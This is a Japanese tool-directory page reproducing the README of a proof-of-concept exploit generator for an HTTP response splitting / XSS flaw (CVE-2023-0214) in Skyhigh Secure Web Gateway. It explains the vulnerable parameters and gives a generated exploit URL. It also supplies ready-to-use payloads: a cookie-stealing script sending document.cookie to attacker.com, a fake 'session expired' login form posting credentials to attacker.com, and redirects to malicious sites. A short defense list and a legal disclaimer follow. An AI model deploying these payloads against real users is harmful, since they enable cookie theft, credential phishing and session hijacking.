Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-0214 — Secure Web Gateway 10.2.11 - クロスサイトスクリプティング (XSS) | Kitploit
ツール/GitHubGitHub/0pts/cve-2023-0214
フィッシングツール脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHub0pts/cve-2023-0214

CVE-2023-0214

Secure Web Gateway 10.2.11 - クロスサイトスクリプティング (XSS)

リポジトリを見る
247ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SWG Exploit Generator

root@kitploit:~
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝

by 0PTS

Skyhigh Secure Web Gateway(旧McAfee Web Gateway)におけるHTTP Response Splitting脆弱性のProof of Concept。

脆弱性について

Skyhigh Secure Web Gatewayにおける深刻なHTTP Response Splitting脆弱性。任意のHTML/JavaScriptコードの注入を通じてリモートからXSS攻撃を実行可能。

技術的詳細

  • タイプ: HTTP Response Splitting / Cross-Site Scripting (XSS)
  • 危険性: 高
  • 攻撃ベクター: リモート、認証不要

エクスプロイトの動作原理

脆弱性はプラグイン"Ssos"(アクションSetLoginToken)に存在し、URLパラメータを適切に処理しません。

  1. パラメータ"p" → P3Pヘッダーに注入
  2. パラメータ"c" → レスポンス本文に注入
  3. パラメータ"v" → MwgSsoクッキーに注入

改行文字(\r\n / %0d%0a)がエスケープされないため、攻撃者は以下が可能:

  • 任意のHTTPヘッダーを注入
  • Content-TypeとContent-Lengthを上書き
  • 任意のHTML/JavaScriptコードを注入

ブラウザは正しく形成されたContent-Length以降のレスポンスの残りの内容を無視するため、表示されるコンテンツを完全に置き換えることができます。

使用方法

基本的な実行

root@kitploit:~
python explot.py

パラメータ付き(nmap形式)

root@kitploit:~
# 基本的なXSS
python explot.py -d example.com -p "<script>alert(document.domain)</script>"

# リダイレクト
python explot.py -d target.com -p '<meta http-equiv="refresh" content="0;url=https://evil.com/">'

# フィッシングフォーム
python explot.py -d bank.com -p '<form action="https://evil.com/steal"><input name="pass" placeholder="Password"><button>Login</button></form>'

# URLのみ(サイレントモード)
python explot.py -d example.com -p "<script>alert(1)</script>" -q

パラメータ

root@kitploit:~
-d, --domain    ターゲットドメイン(デフォルト: google.com)
-x, --prefix    URLパス接頭辞(デフォルト: SWG内部パス)
-p, --payload   HTML/JavaScriptペイロード
-q, --quiet     サイレントモード - URLのみ出力
-v, --version   スクリプトのバージョン
-h, --help      ヘルプ

ペイロード例

XSSによるクッキー窃取

root@kitploit:~
<script>fetch('https://attacker.com/log?c='+document.cookie)</script>

フィッシングフォーム

root@kitploit:~
<html>
<body style="font-family:Arial">
<h2>Session Expired - Please Login Again</h2>
<form action="https://attacker.com/phish" method="POST">
<input type="text" name="user" placeholder="Username"><br>
<input type="password" name="pass" placeholder="Password"><br>
<button>Login</button>
</form>
</body>
</html>

悪意のあるサイトへのリダイレクト

root@kitploit:~
<meta http-equiv="refresh" content="0;url=https://malicious-site.com/">

デモンストレーション

root@kitploit:~
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝

[+] Target Domain:   example.com
[+] Payload Length:  43 bytes
[+] URL Length:      234 chars

[+] Generated URL:

http://example.com/mwg-internal/de5fs23hu73ds/plugin?target=Ssos&action=SetLoginToken&v=1&c=1&p=p%0D%0AContent-Type%3A%20text%2Fhtml%3Bcharset%3Dutf-8%0D%0AContent-Length%3A%2043%0D%0A%0D%0A%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

防御策

  1. Skyhigh SWGを最新バージョンに更新
  2. CRLFインジェクションをフィルタリングするWAFを使用
  3. /mwg-internal/*への不審なリクエストを監視

免責事項

⚠️ 注意: このツールは以下の用途にのみ使用されます:

  • 許可された侵入テスト
  • 教育目的
  • CTFコンテスト
  • セキュリティ研究

所有者の明示的な許可なくシステムに対して使用することは違法です。

情報源

  • https://www.exploit-db.com/exploits/51237
  • Skyhigh Security Bulletins

root@kitploit:~
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝
ツールをダウンロード